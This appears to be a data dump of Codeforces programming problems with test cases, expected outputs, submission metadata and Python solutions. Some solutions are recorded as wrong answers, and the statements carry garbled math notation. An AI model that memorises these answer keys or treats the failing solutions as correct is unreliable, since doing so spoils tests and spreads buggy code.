```python # https://codeforces.com/contest/839/problem/C from collections import defaultdict n = int(input()) tree = defaultdict(set) for i in range(n - 1): u, v = map(int, input().split()) tree[u].add(v) tree[v].add(u) def DFS(curr, parent): total = 0 for child in tree[curr]: if child != parent: total += DFS(child, curr) + 1 if total == 0: return total else: return total / (len(tree[curr]) - (parent is not None)) print(DFS(1, None)) ```
-1
336
A
Vasily the Bear and Triangle
PROGRAMMING
1,000
[ "implementation", "math" ]
null
null
Vasily the bear has a favorite rectangle, it has one vertex at point (0,<=0), and the opposite vertex at point (*x*,<=*y*). Of course, the sides of Vasya's favorite rectangle are parallel to the coordinate axes. Vasya also loves triangles, if the triangles have one vertex at point *B*<==<=(0,<=0). That's why today he asks you to find two points *A*<==<=(*x*1,<=*y*1) and *C*<==<=(*x*2,<=*y*2), such that the following conditions hold: - the coordinates of points: *x*1, *x*2, *y*1, *y*2 are integers. Besides, the following inequation holds: *x*1<=&lt;<=*x*2; - the triangle formed by point *A*, *B* and *C* is rectangular and isosceles ( is right); - all points of the favorite rectangle are located inside or on the border of triangle *ABC*; - the area of triangle *ABC* is as small as possible. Help the bear, find the required points. It is not so hard to proof that these points are unique.
The first line contains two integers *x*,<=*y* (<=-<=109<=≤<=*x*,<=*y*<=≤<=109,<=*x*<=≠<=0,<=*y*<=≠<=0).
Print in the single line four integers *x*1,<=*y*1,<=*x*2,<=*y*2 — the coordinates of the required points.
[ "10 5\n", "-10 5\n" ]
[ "0 15 15 0\n", "-15 0 0 15\n" ]
<img class="tex-graphics" src="https://espresso.codeforces.com/a9ea2088c4294ce8f23801562fda36b830df2c3f.png" style="max-width: 100.0%;max-height: 100.0%;"/> Figure to the first sample
500
[ { "input": "10 5", "output": "0 15 15 0" }, { "input": "-10 5", "output": "-15 0 0 15" }, { "input": "20 -10", "output": "0 -30 30 0" }, { "input": "-10 -1000000000", "output": "-1000000010 0 0 -1000000010" }, { "input": "-1000000000 -1000000000", "output": "-2000000000 0 0 -2000000000" }, { "input": "1000000000 1000000000", "output": "0 2000000000 2000000000 0" }, { "input": "-123131 3123141", "output": "-3246272 0 0 3246272" }, { "input": "-23423 -243242423", "output": "-243265846 0 0 -243265846" }, { "input": "123112 4560954", "output": "0 4684066 4684066 0" }, { "input": "1321 -23131", "output": "0 -24452 24452 0" }, { "input": "1000000000 999999999", "output": "0 1999999999 1999999999 0" }, { "input": "54543 432423", "output": "0 486966 486966 0" }, { "input": "1 1", "output": "0 2 2 0" }, { "input": "-1 -1", "output": "-2 0 0 -2" }, { "input": "-1 1", "output": "-2 0 0 2" }, { "input": "1 -1", "output": "0 -2 2 0" }, { "input": "42 -2", "output": "0 -44 44 0" }, { "input": "2 -435", "output": "0 -437 437 0" }, { "input": "76 -76", "output": "0 -152 152 0" }, { "input": "1000000000 1", "output": "0 1000000001 1000000001 0" }, { "input": "1000000000 -1", "output": "0 -1000000001 1000000001 0" }, { "input": "-1000000000 1", "output": "-1000000001 0 0 1000000001" }, { "input": "-1000000000 -1", "output": "-1000000001 0 0 -1000000001" }, { "input": "1000000000 -999999999", "output": "0 -1999999999 1999999999 0" }, { "input": "-1000000000 999999999", "output": "-1999999999 0 0 1999999999" }, { "input": "-1000000000 -999999999", "output": "-1999999999 0 0 -1999999999" }, { "input": "999999999 1000000000", "output": "0 1999999999 1999999999 0" }, { "input": "-999999999 1000000000", "output": "-1999999999 0 0 1999999999" }, { "input": "999999999 -1000000000", "output": "0 -1999999999 1999999999 0" }, { "input": "-999999999 -1000000000", "output": "-1999999999 0 0 -1999999999" } ]
1,620,022,187
2,147,483,647
Python 3
WRONG_ANSWER
TESTS
1
92
0
x,y=map(int,input().split()) print(0,x+y,x+y,0)
Title: Vasily the Bear and Triangle Time Limit: None seconds Memory Limit: None megabytes Problem Description: Vasily the bear has a favorite rectangle, it has one vertex at point (0,<=0), and the opposite vertex at point (*x*,<=*y*). Of course, the sides of Vasya's favorite rectangle are parallel to the coordinate axes. Vasya also loves triangles, if the triangles have one vertex at point *B*<==<=(0,<=0). That's why today he asks you to find two points *A*<==<=(*x*1,<=*y*1) and *C*<==<=(*x*2,<=*y*2), such that the following conditions hold: - the coordinates of points: *x*1, *x*2, *y*1, *y*2 are integers. Besides, the following inequation holds: *x*1<=&lt;<=*x*2; - the triangle formed by point *A*, *B* and *C* is rectangular and isosceles ( is right); - all points of the favorite rectangle are located inside or on the border of triangle *ABC*; - the area of triangle *ABC* is as small as possible. Help the bear, find the required points. It is not so hard to proof that these points are unique. Input Specification: The first line contains two integers *x*,<=*y* (<=-<=109<=≤<=*x*,<=*y*<=≤<=109,<=*x*<=≠<=0,<=*y*<=≠<=0). Output Specification: Print in the single line four integers *x*1,<=*y*1,<=*x*2,<=*y*2 — the coordinates of the required points. Demo Input: ['10 5\n', '-10 5\n'] Demo Output: ['0 15 15 0\n', '-15 0 0 15\n'] Note: <img class="tex-graphics" src="https://espresso.codeforces.com/a9ea2088c4294ce8f23801562fda36b830df2c3f.png" style="max-width: 100.0%;max-height: 100.0%;"/> Figure to the first sample
```python x,y=map(int,input().split()) print(0,x+y,x+y,0) ```
0
873
D
Merge Sort
PROGRAMMING
1,800
[ "constructive algorithms", "divide and conquer" ]
null
null
Merge sort is a well-known sorting algorithm. The main function that sorts the elements of array *a* with indices from [*l*,<=*r*) can be implemented as follows: 1. If the segment [*l*,<=*r*) is already sorted in non-descending order (that is, for any *i* such that *l*<=≤<=*i*<=&lt;<=*r*<=-<=1 *a*[*i*]<=≤<=*a*[*i*<=+<=1]), then end the function call; 1. Let ; 1. Call *mergesort*(*a*,<=*l*,<=*mid*); 1. Call *mergesort*(*a*,<=*mid*,<=*r*); 1. Merge segments [*l*,<=*mid*) and [*mid*,<=*r*), making the segment [*l*,<=*r*) sorted in non-descending order. The merge algorithm doesn't call any other functions. The array in this problem is 0-indexed, so to sort the whole array, you need to call *mergesort*(*a*,<=0,<=*n*). The number of calls of function *mergesort* is very important, so Ivan has decided to calculate it while sorting the array. For example, if *a*<==<={1,<=2,<=3,<=4}, then there will be 1 call of *mergesort* — *mergesort*(0,<=4), which will check that the array is sorted and then end. If *a*<==<={2,<=1,<=3}, then the number of calls is 3: first of all, you call *mergesort*(0,<=3), which then sets *mid*<==<=1 and calls *mergesort*(0,<=1) and *mergesort*(1,<=3), which do not perform any recursive calls because segments (0,<=1) and (1,<=3) are sorted. Ivan has implemented the program that counts the number of *mergesort* calls, but now he needs to test it. To do this, he needs to find an array *a* such that *a* is a permutation of size *n* (that is, the number of elements in *a* is *n*, and every integer number from [1,<=*n*] can be found in this array), and the number of *mergesort* calls when sorting the array is exactly *k*. Help Ivan to find an array he wants!
The first line contains two numbers *n* and *k* (1<=≤<=*n*<=≤<=100000, 1<=≤<=*k*<=≤<=200000) — the size of a desired permutation and the number of *mergesort* calls required to sort it.
If a permutation of size *n* such that there will be exactly *k* calls of *mergesort* while sorting it doesn't exist, output <=-<=1. Otherwise output *n* integer numbers *a*[0],<=*a*[1],<=...,<=*a*[*n*<=-<=1] — the elements of a permutation that would meet the required conditions. If there are multiple answers, print any of them.
[ "3 3\n", "4 1\n", "5 6\n" ]
[ "2 1 3 ", "1 2 3 4 ", "-1\n" ]
none
0
[ { "input": "3 3", "output": "2 1 3 " }, { "input": "4 1", "output": "1 2 3 4 " }, { "input": "5 6", "output": "-1" }, { "input": "100 100", "output": "-1" }, { "input": "10000 10001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 22 19 23 25 21 27 24 28 30 26 32 29 33 35 31 37 34 38 40 36 42 39 44 41 46 43 47 49 45 51 48 52 54 50 56 53 57 59 55 61 58 62 64 60 66 63 67 69 65 71 68 72 74 70 76 73 77 79 75 81 78 83 80 85 82 86 88 84 90 87 91 93 89 95 92 96 98 94 100 97 101 103 99 105 102 106 108 104 110 107 111 113 109 115 112 116 118 114 120 117 122 119 124 121 125 127 123 129 126 130 132 128 134 131 135 137 133 139 136 140 142 138 144 141 145 147 143 149 146 150 152 148 154 151 155 157..." }, { "input": "10000 20001", "output": "-1" }, { "input": "10000 30001", "output": "-1" }, { "input": "20000 10001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 22 19 23 25 21 27 24 28 30 26 32 29 33 35 31 37 34 38 40 36 42 39 44 41 46 43 47 49 45 51 48 52 54 50 56 53 57 59 55 61 58 62 64 60 66 63 67 69 65 71 68 72 74 70 76 73 77 79 75 81 78 83 80 85 82 86 88 84 90 87 91 93 89 95 92 96 98 94 100 97 101 103 99 105 102 106 108 104 110 107 111 113 109 115 112 116 118 114 120 117 122 119 124 121 125 127 123 129 126 130 132 128 134 131 135 137 133 139 136 140 142 138 144 141 145 147 143 149 146 150 152 148 154 151 155 157..." }, { "input": "20000 20001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 22 19 23 25 21 27 24 28 30 26 32 29 33 35 31 37 34 38 40 36 42 39 44 41 46 43 47 49 45 51 48 52 54 50 56 53 57 59 55 61 58 62 64 60 66 63 67 69 65 71 68 72 74 70 76 73 77 79 75 81 78 83 80 85 82 86 88 84 90 87 91 93 89 95 92 96 98 94 100 97 101 103 99 105 102 106 108 104 110 107 111 113 109 115 112 116 118 114 120 117 122 119 124 121 125 127 123 129 126 130 132 128 134 131 135 137 133 139 136 140 142 138 144 141 145 147 143 149 146 150 152 148 154 151 155 157..." }, { "input": "20000 30001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 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152 149 154 151 155 157..." }, { "input": "60000 20001", "output": "2 4 1 6 3 8 5 9 11 7 13 10 15 12 16 18 14 20 17 22 19 24 21 26 23 28 25 30 27 31 33 29 35 32 37 34 38 40 36 42 39 44 41 45 47 43 49 46 51 48 53 50 55 52 57 54 59 56 60 62 58 64 61 66 63 67 69 65 71 68 73 70 74 76 72 78 75 80 77 82 79 84 81 86 83 88 85 89 91 87 93 90 95 92 97 94 99 96 101 98 103 100 104 106 102 108 105 110 107 112 109 114 111 116 113 118 115 119 121 117 123 120 125 122 126 128 124 130 127 132 129 133 135 131 137 134 139 136 141 138 143 140 145 142 147 144 148 150 146 152 149 154 151 155 157..." }, { "input": "60000 30001", "output": "2 4 1 6 3 8 5 9 11 7 13 10 15 12 16 18 14 20 17 22 19 24 21 26 23 28 25 30 27 31 33 29 35 32 37 34 38 40 36 42 39 44 41 45 47 43 49 46 51 48 53 50 55 52 57 54 59 56 60 62 58 64 61 66 63 67 69 65 71 68 73 70 74 76 72 78 75 80 77 82 79 84 81 86 83 88 85 89 91 87 93 90 95 92 97 94 99 96 101 98 103 100 104 106 102 108 105 110 107 112 109 114 111 116 113 118 115 119 121 117 123 120 125 122 126 128 124 130 127 132 129 133 135 131 137 134 139 136 141 138 143 140 145 142 147 144 148 150 146 152 149 154 151 155 157..." }, { "input": "70000 10001", "output": "3 1 5 2 7 4 9 6 11 8 13 10 15 12 16 18 14 20 17 22 19 24 21 26 23 28 25 30 27 32 29 33 35 31 37 34 39 36 41 38 43 40 45 42 47 44 49 46 50 52 48 54 51 56 53 58 55 60 57 62 59 64 61 66 63 67 69 65 71 68 73 70 75 72 77 74 79 76 81 78 83 80 84 86 82 88 85 90 87 92 89 94 91 96 93 98 95 100 97 101 103 99 105 102 107 104 109 106 111 108 113 110 115 112 117 114 118 120 116 122 119 124 121 126 123 128 125 130 127 132 129 134 131 135 137 133 139 136 141 138 143 140 145 142 147 144 149 146 151 148 152 154 150 156 153..." }, { "input": "70000 20001", "output": "3 1 5 2 7 4 9 6 11 8 13 10 15 12 16 18 14 20 17 22 19 24 21 26 23 28 25 30 27 32 29 33 35 31 37 34 39 36 41 38 43 40 45 42 47 44 49 46 50 52 48 54 51 56 53 58 55 60 57 62 59 64 61 66 63 67 69 65 71 68 73 70 75 72 77 74 79 76 81 78 83 80 84 86 82 88 85 90 87 92 89 94 91 96 93 98 95 100 97 101 103 99 105 102 107 104 109 106 111 108 113 110 115 112 117 114 118 120 116 122 119 124 121 126 123 128 125 130 127 132 129 134 131 135 137 133 139 136 141 138 143 140 145 142 147 144 149 146 151 148 152 154 150 156 153..." }, { "input": "70000 30001", "output": "3 1 5 2 7 4 9 6 11 8 13 10 15 12 16 18 14 20 17 22 19 24 21 26 23 28 25 30 27 32 29 33 35 31 37 34 39 36 41 38 43 40 45 42 47 44 49 46 50 52 48 54 51 56 53 58 55 60 57 62 59 64 61 66 63 67 69 65 71 68 73 70 75 72 77 74 79 76 81 78 83 80 84 86 82 88 85 90 87 92 89 94 91 96 93 98 95 100 97 101 103 99 105 102 107 104 109 106 111 108 113 110 115 112 117 114 118 120 116 122 119 124 121 126 123 128 125 130 127 132 129 134 131 135 137 133 139 136 141 138 143 140 145 142 147 144 149 146 151 148 152 154 150 156 153..." }, { "input": "80000 10001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 22 19 23 25 21 27 24 28 30 26 32 29 33 35 31 37 34 38 40 36 42 39 44 41 46 43 47 49 45 51 48 52 54 50 56 53 57 59 55 61 58 62 64 60 66 63 67 69 65 71 68 72 74 70 76 73 77 79 75 81 78 83 80 85 82 86 88 84 90 87 91 93 89 95 92 96 98 94 100 97 101 103 99 105 102 106 108 104 110 107 111 113 109 115 112 116 118 114 120 117 122 119 124 121 125 127 123 129 126 130 132 128 134 131 135 137 133 139 136 140 142 138 144 141 145 147 143 149 146 150 152 148 154 151 155 157..." }, { "input": "80000 20001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 20 16 22 19 23 25 21 27 24 28 30 26 32 29 33 35 31 37 34 38 40 36 42 39 44 41 46 43 47 49 45 51 48 52 54 50 56 53 57 59 55 61 58 62 64 60 66 63 67 69 65 71 68 72 74 70 76 73 77 79 75 81 78 83 80 85 82 86 88 84 90 87 91 93 89 95 92 96 98 94 100 97 101 103 99 105 102 106 108 104 110 107 111 113 109 115 112 116 118 114 120 117 122 119 124 121 125 127 123 129 126 130 132 128 134 131 135 137 133 139 136 140 142 138 144 141 145 147 143 149 146 150 152 148 154 151 155 157..." }, { "input": "80000 30001", "output": "3 1 5 2 7 4 8 10 6 12 9 13 15 11 17 14 18 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151 147 152 154 150 156 153..." }, { "input": "90000 20001", "output": "3 1 4 6 2 8 5 9 11 7 13 10 14 16 12 17 19 15 20 22 18 24 21 25 27 23 28 30 26 31 33 29 35 32 36 38 34 39 41 37 42 44 40 46 43 47 49 45 50 52 48 53 55 51 57 54 58 60 56 61 63 59 64 66 62 68 65 69 71 67 72 74 70 75 77 73 79 76 80 82 78 83 85 81 86 88 84 90 87 91 93 89 94 96 92 97 99 95 101 98 102 104 100 105 107 103 108 110 106 112 109 113 115 111 116 118 114 119 121 117 123 120 124 126 122 127 129 125 130 132 128 134 131 135 137 133 138 140 136 141 143 139 145 142 146 148 144 149 151 147 152 154 150 156 153..." }, { "input": "90000 30001", "output": "3 1 4 6 2 8 5 9 11 7 13 10 14 16 12 17 19 15 20 22 18 24 21 25 27 23 28 30 26 31 33 29 35 32 36 38 34 39 41 37 42 44 40 46 43 47 49 45 50 52 48 53 55 51 57 54 58 60 56 61 63 59 64 66 62 68 65 69 71 67 72 74 70 75 77 73 79 76 80 82 78 83 85 81 86 88 84 90 87 91 93 89 94 96 92 97 99 95 101 98 102 104 100 105 107 103 108 110 106 112 109 113 115 111 116 118 114 119 121 117 123 120 124 126 122 127 129 125 130 132 128 134 131 135 137 133 138 140 136 141 143 139 145 142 146 148 144 149 151 147 152 154 150 156 153..." }, { "input": "100000 10001", "output": "2 4 1 5 7 3 8 10 6 11 13 9 14 16 12 17 19 15 20 22 18 23 25 21 26 28 24 29 31 27 32 34 30 35 37 33 38 40 36 41 43 39 44 46 42 47 49 45 50 52 48 53 55 51 56 58 54 59 61 57 62 64 60 65 67 63 68 70 66 71 73 69 74 76 72 77 79 75 80 82 78 83 85 81 86 88 84 89 91 87 92 94 90 96 93 98 95 99 101 97 102 104 100 105 107 103 108 110 106 111 113 109 114 116 112 117 119 115 120 122 118 123 125 121 126 128 124 129 131 127 132 134 130 135 137 133 138 140 136 141 143 139 145 142 147 144 148 150 146 151 153 149 154 156 152..." }, { "input": "100000 20001", "output": "2 4 1 5 7 3 8 10 6 11 13 9 14 16 12 17 19 15 20 22 18 23 25 21 26 28 24 29 31 27 32 34 30 35 37 33 38 40 36 41 43 39 44 46 42 47 49 45 50 52 48 53 55 51 56 58 54 59 61 57 62 64 60 65 67 63 68 70 66 71 73 69 74 76 72 77 79 75 80 82 78 83 85 81 86 88 84 89 91 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53 55 51 56 58 54 59 61 57 62 64 60 65 67 63 68 70 66 71 73 69 74 76 72 77 79 75 80 82 78 83 85 81 86 88 84 89 91 87 92 94 90 96 93 98 95 99 101 97 102 104 100 105 107 103 108 110 106 111 113 109 114 116 112 117 119 115 120 122 118 123 125 121 126 128 124 129 131 127 132 134 130 135 137 133 138 140 136 141 143 139 145 142 147 144 148 150 146 151 153 149 154 156 152..." }, { "input": "10 17", "output": "3 1 4 6 2 8 5 9 7 10 " } ]
1,646,599,081
2,147,483,647
PyPy 3
OK
TESTS
36
140
10,035,200
k1 = 0 def main(): n, k = [int(x) for x in input().split()] if k & 1 == 0 or k > 2 * n - 1: print("-1") return else: lst = [0] * n global k1 k1 = k - 1 def ord_arr(l, r, val): global k1 if r <= l+1: lst[l] = val elif k1 == 0: for i in range(l, r): lst[i] = val + i - l else: k1 -= 2 m = (l+r) // 2 ord_arr(l, m, val+r-m) ord_arr(m, r, val) ord_arr(0, n, 1) print(' '.join([str(x) for x in lst])) main()
Title: Merge Sort Time Limit: None seconds Memory Limit: None megabytes Problem Description: Merge sort is a well-known sorting algorithm. The main function that sorts the elements of array *a* with indices from [*l*,<=*r*) can be implemented as follows: 1. If the segment [*l*,<=*r*) is already sorted in non-descending order (that is, for any *i* such that *l*<=≤<=*i*<=&lt;<=*r*<=-<=1 *a*[*i*]<=≤<=*a*[*i*<=+<=1]), then end the function call; 1. Let ; 1. Call *mergesort*(*a*,<=*l*,<=*mid*); 1. Call *mergesort*(*a*,<=*mid*,<=*r*); 1. Merge segments [*l*,<=*mid*) and [*mid*,<=*r*), making the segment [*l*,<=*r*) sorted in non-descending order. The merge algorithm doesn't call any other functions. The array in this problem is 0-indexed, so to sort the whole array, you need to call *mergesort*(*a*,<=0,<=*n*). The number of calls of function *mergesort* is very important, so Ivan has decided to calculate it while sorting the array. For example, if *a*<==<={1,<=2,<=3,<=4}, then there will be 1 call of *mergesort* — *mergesort*(0,<=4), which will check that the array is sorted and then end. If *a*<==<={2,<=1,<=3}, then the number of calls is 3: first of all, you call *mergesort*(0,<=3), which then sets *mid*<==<=1 and calls *mergesort*(0,<=1) and *mergesort*(1,<=3), which do not perform any recursive calls because segments (0,<=1) and (1,<=3) are sorted. Ivan has implemented the program that counts the number of *mergesort* calls, but now he needs to test it. To do this, he needs to find an array *a* such that *a* is a permutation of size *n* (that is, the number of elements in *a* is *n*, and every integer number from [1,<=*n*] can be found in this array), and the number of *mergesort* calls when sorting the array is exactly *k*. Help Ivan to find an array he wants! Input Specification: The first line contains two numbers *n* and *k* (1<=≤<=*n*<=≤<=100000, 1<=≤<=*k*<=≤<=200000) — the size of a desired permutation and the number of *mergesort* calls required to sort it. Output Specification: If a permutation of size *n* such that there will be exactly *k* calls of *mergesort* while sorting it doesn't exist, output <=-<=1. Otherwise output *n* integer numbers *a*[0],<=*a*[1],<=...,<=*a*[*n*<=-<=1] — the elements of a permutation that would meet the required conditions. If there are multiple answers, print any of them. Demo Input: ['3 3\n', '4 1\n', '5 6\n'] Demo Output: ['2 1 3 ', '1 2 3 4 ', '-1\n'] Note: none
```python k1 = 0 def main(): n, k = [int(x) for x in input().split()] if k & 1 == 0 or k > 2 * n - 1: print("-1") return else: lst = [0] * n global k1 k1 = k - 1 def ord_arr(l, r, val): global k1 if r <= l+1: lst[l] = val elif k1 == 0: for i in range(l, r): lst[i] = val + i - l else: k1 -= 2 m = (l+r) // 2 ord_arr(l, m, val+r-m) ord_arr(m, r, val) ord_arr(0, n, 1) print(' '.join([str(x) for x in lst])) main() ```
3
165
B
Burning Midnight Oil
PROGRAMMING
1,500
[ "binary search", "implementation" ]
null
null
One day a highly important task was commissioned to Vasya — writing a program in a night. The program consists of *n* lines of code. Vasya is already exhausted, so he works like that: first he writes *v* lines of code, drinks a cup of tea, then he writes as much as lines, drinks another cup of tea, then he writes lines and so on: , , , ... The expression is regarded as the integral part from dividing number *a* by number *b*. The moment the current value equals 0, Vasya immediately falls asleep and he wakes up only in the morning, when the program should already be finished. Vasya is wondering, what minimum allowable value *v* can take to let him write not less than *n* lines of code before he falls asleep.
The input consists of two integers *n* and *k*, separated by spaces — the size of the program in lines and the productivity reduction coefficient, 1<=≤<=*n*<=≤<=109, 2<=≤<=*k*<=≤<=10.
Print the only integer — the minimum value of *v* that lets Vasya write the program in one night.
[ "7 2\n", "59 9\n" ]
[ "4\n", "54\n" ]
In the first sample the answer is *v* = 4. Vasya writes the code in the following portions: first 4 lines, then 2, then 1, and then Vasya falls asleep. Thus, he manages to write 4 + 2 + 1 = 7 lines in a night and complete the task. In the second sample the answer is *v* = 54. Vasya writes the code in the following portions: 54, 6. The total sum is 54 + 6 = 60, that's even more than *n* = 59.
1,000
[ { "input": "7 2", "output": "4" }, { "input": "59 9", "output": "54" }, { "input": "1 9", "output": "1" }, { "input": "11 2", "output": "7" }, { "input": "747 2", "output": "376" }, { "input": "6578 2", "output": "3293" }, { "input": "37212 2", "output": "18609" }, { "input": "12357 2", "output": "6181" }, { "input": "7998332 2", "output": "3999172" }, { "input": "86275251 2", "output": "43137632" }, { "input": "75584551 2", "output": "37792280" }, { "input": "6 3", "output": "5" }, { "input": "43 4", "output": "33" }, { "input": "811 3", "output": "543" }, { "input": "3410 4", "output": "2560" }, { "input": "21341 4", "output": "16009" }, { "input": "696485 4", "output": "522368" }, { "input": "8856748 3", "output": "5904504" }, { "input": "2959379 4", "output": "2219538" }, { "input": "831410263 3", "output": "554273516" }, { "input": "2 5", "output": "2" }, { "input": "19 6", "output": "17" }, { "input": "715 7", "output": "615" }, { "input": "9122 5", "output": "7300" }, { "input": "89117 6", "output": "74268" }, { "input": "689973 7", "output": "591408" }, { "input": "3024524 5", "output": "2419624" }, { "input": "67127156 6", "output": "55939302" }, { "input": "412262167 7", "output": "353367574" }, { "input": "6 8", "output": "6" }, { "input": "59 9", "output": "54" }, { "input": "246 10", "output": "222" }, { "input": "5314 8", "output": "4651" }, { "input": "15309 9", "output": "13609" }, { "input": "35648 10", "output": "32085" }, { "input": "3018012 8", "output": "2640764" }, { "input": "92153348 9", "output": "81914089" }, { "input": "177583558 10", "output": "159825206" }, { "input": "1000000000 2", "output": "500000008" }, { "input": "1000000000 3", "output": "666666672" }, { "input": "1000000000 4", "output": "750000005" }, { "input": "1000000000 5", "output": "800000003" }, { "input": "1000000000 6", "output": "833333338" }, { "input": "1000000000 7", "output": "857142861" }, { "input": "1000000000 8", "output": "875000004" }, { "input": "1000000000 9", "output": "888888894" }, { "input": "1000000000 10", "output": "900000001" }, { "input": "1 4", "output": "1" }, { "input": "2 10", "output": "2" }, { "input": "1 2", "output": "1" }, { "input": "6 8", "output": "6" }, { "input": "987862820 9", "output": "878100288" }, { "input": "979591791 9", "output": "870748262" }, { "input": "948889213 9", "output": "843457081" }, { "input": "8 9", "output": "8" }, { "input": "999999999 10", "output": "900000000" } ]
1,691,073,817
2,147,483,647
Python 3
OK
TESTS
56
122
0
def minimum_vasya_lines(n, k): lo, hi = 1, n while lo < hi: mid = (lo + hi) // 2 total_lines = mid productivity = 1 while mid // (k ** productivity) > 0: total_lines += mid // (k ** productivity) productivity += 1 if total_lines >= n: hi = mid else: lo = mid + 1 return lo n, k = map(int, input().split()) result = minimum_vasya_lines(n, k) print(result)
Title: Burning Midnight Oil Time Limit: None seconds Memory Limit: None megabytes Problem Description: One day a highly important task was commissioned to Vasya — writing a program in a night. The program consists of *n* lines of code. Vasya is already exhausted, so he works like that: first he writes *v* lines of code, drinks a cup of tea, then he writes as much as lines, drinks another cup of tea, then he writes lines and so on: , , , ... The expression is regarded as the integral part from dividing number *a* by number *b*. The moment the current value equals 0, Vasya immediately falls asleep and he wakes up only in the morning, when the program should already be finished. Vasya is wondering, what minimum allowable value *v* can take to let him write not less than *n* lines of code before he falls asleep. Input Specification: The input consists of two integers *n* and *k*, separated by spaces — the size of the program in lines and the productivity reduction coefficient, 1<=≤<=*n*<=≤<=109, 2<=≤<=*k*<=≤<=10. Output Specification: Print the only integer — the minimum value of *v* that lets Vasya write the program in one night. Demo Input: ['7 2\n', '59 9\n'] Demo Output: ['4\n', '54\n'] Note: In the first sample the answer is *v* = 4. Vasya writes the code in the following portions: first 4 lines, then 2, then 1, and then Vasya falls asleep. Thus, he manages to write 4 + 2 + 1 = 7 lines in a night and complete the task. In the second sample the answer is *v* = 54. Vasya writes the code in the following portions: 54, 6. The total sum is 54 + 6 = 60, that's even more than *n* = 59.
```python def minimum_vasya_lines(n, k): lo, hi = 1, n while lo < hi: mid = (lo + hi) // 2 total_lines = mid productivity = 1 while mid // (k ** productivity) > 0: total_lines += mid // (k ** productivity) productivity += 1 if total_lines >= n: hi = mid else: lo = mid + 1 return lo n, k = map(int, input().split()) result = minimum_vasya_lines(n, k) print(result) ```
3
549
A
Face Detection
PROGRAMMING
900
[ "implementation", "strings" ]
null
null
The developers of Looksery have to write an efficient algorithm that detects faces on a picture. Unfortunately, they are currently busy preparing a contest for you, so you will have to do it for them. In this problem an image is a rectangular table that consists of lowercase Latin letters. A face on the image is a 2<=×<=2 square, such that from the four letters of this square you can make word "face". You need to write a program that determines the number of faces on the image. The squares that correspond to the faces can overlap.
The first line contains two space-separated integers, *n* and *m* (1<=≤<=*n*,<=*m*<=≤<=50) — the height and the width of the image, respectively. Next *n* lines define the image. Each line contains *m* lowercase Latin letters.
In the single line print the number of faces on the image.
[ "4 4\nxxxx\nxfax\nxcex\nxxxx\n", "4 2\nxx\ncf\nae\nxx\n", "2 3\nfac\ncef\n", "1 4\nface\n" ]
[ "1\n", "1\n", "2\n", "0\n" ]
In the first sample the image contains a single face, located in a square with the upper left corner at the second line and the second column: In the second sample the image also contains exactly one face, its upper left corner is at the second row and the first column. In the third sample two faces are shown: In the fourth sample the image has no faces on it.
250
[ { "input": "4 4\nxxxx\nxfax\nxcex\nxxxx", "output": "1" }, { "input": "4 2\nxx\ncf\nae\nxx", "output": "1" }, { "input": "2 3\nfac\ncef", "output": "2" }, { "input": "1 4\nface", "output": "0" }, { "input": "5 5\nwmmwn\nlurcm\nkeetd\nfokon\ncxxgx", "output": "0" }, { "input": "5 5\nkjxbw\neacra\nxefhx\nucmcz\npgtjk", "output": "1" }, { "input": "1 1\np", "output": "0" }, { "input": "2 5\nacdmw\nefazb", "output": "1" }, { "input": "5 2\ndz\nda\nsx\nyu\nzz", "output": "0" }, { "input": "5 5\nxeljd\nwriac\nveief\nlcacf\nbqefn", "output": "2" }, { "input": "5 5\nacnbx\nefacp\nlrefa\norqce\nzvbay", "output": "3" }, { "input": "5 5\nbyjvu\nkmaca\nalefe\nwcacg\nrefez", "output": "5" }, { "input": "5 5\npuxac\nbbaef\naccfa\nefaec\nligsr", "output": "5" }, { "input": "37 4\nacjo\nefac\nacef\nefac\nwpef\nicac\naefe\ncfac\naece\ncfaf\nyqce\nmiaf\nirce\nycaf\naefc\ncfae\nrsnc\nbacz\nqefb\npdhs\nffac\nfaef\nacfd\nacmi\nefvm\nacaz\nefpn\nacao\nefer\nacap\nefec\nacaf\nefef\nacbj\nefac\nacef\nefoz", "output": "49" }, { "input": "7 3\njac\naef\ncfa\naec\ncfq\ndig\nxyq", "output": "5" }, { "input": "35 1\ny\na\nk\ng\ni\nd\nv\nn\nl\nx\nu\nx\nu\no\nd\nf\nk\nj\nr\nm\nq\ns\nc\nd\nc\nm\nv\nh\nn\ne\nl\nt\nz\ny\no", "output": "0" }, { "input": "9 46\nuuexbaacesjclggslacermcbkxlcxhdgqtacdwfryxzuxc\naclrsaefakndbnzlkefenuphgcgoedhkaxefjtnkgfeaca\nefuqunpmfxdyyffyhvracozzrxlpekhtsrfhlilfmyhefg\numyacfzffvicqtdpiulefnwcojuwtfbvlxkfsiapdnzpqo\nactefvuxqptremlqjhdbdwacjxdxitxjktecvefacamjcz\neflarseklqrkayhosverpfefzirqigzlxezabhzeferkwm\nztpypwxyohtacsnnvoigqwcachtaceyxlkhfhgwbnfmklb\nfzpqeymhljiefctvqtbgcdjefkxefarbciyosmktmoziac\nbssxizyrzyhacszttwhrzspbfkgfcejybdjcpuczhrkqef", "output": "20" }, { "input": "7 30\nmjfracgaacacctacrreyrlkacuacay\nrlacefacefeftaeftkacacaefcefev\nacefacefacraccfaeaefefecaeacaf\nefacefacefaefaecfcfacacaecfefa\nncefacefacecacfaeaecefefcaeace\nfafaceacuafaefadcfcafacaefcfea\nzsvefafukcecfarkaeaecefecailgu", "output": "95" }, { "input": "2 2\nff\nee", "output": "0" }, { "input": "2 2\nfa\ncc", "output": "0" }, { "input": "2 2\nfa\naa", "output": "0" }, { "input": "2 2\nfa\nea", "output": "0" }, { "input": "2 2\nfa\ndd", "output": "0" }, { "input": "2 2\nee\nff", "output": "0" }, { "input": "2 2\ncc\ncf", "output": "0" }, { "input": "2 2\naa\nae", "output": "0" }, { "input": "2 2\nef\nac", "output": "1" }, { "input": "2 2\nfe\nca", "output": "1" } ]
1,433,597,219
1,619
Python 3
WRONG_ANSWER
PRETESTS
4
124
6,246,400
